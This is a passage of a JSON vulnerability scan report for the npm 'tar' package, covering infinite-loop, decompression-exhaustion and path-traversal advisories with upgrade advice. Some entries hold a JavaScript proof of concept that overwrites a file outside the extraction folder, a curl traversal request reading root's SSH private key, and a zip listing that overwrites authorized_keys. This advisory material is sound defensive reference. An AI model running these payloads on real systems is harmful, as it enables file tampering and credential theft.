7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", 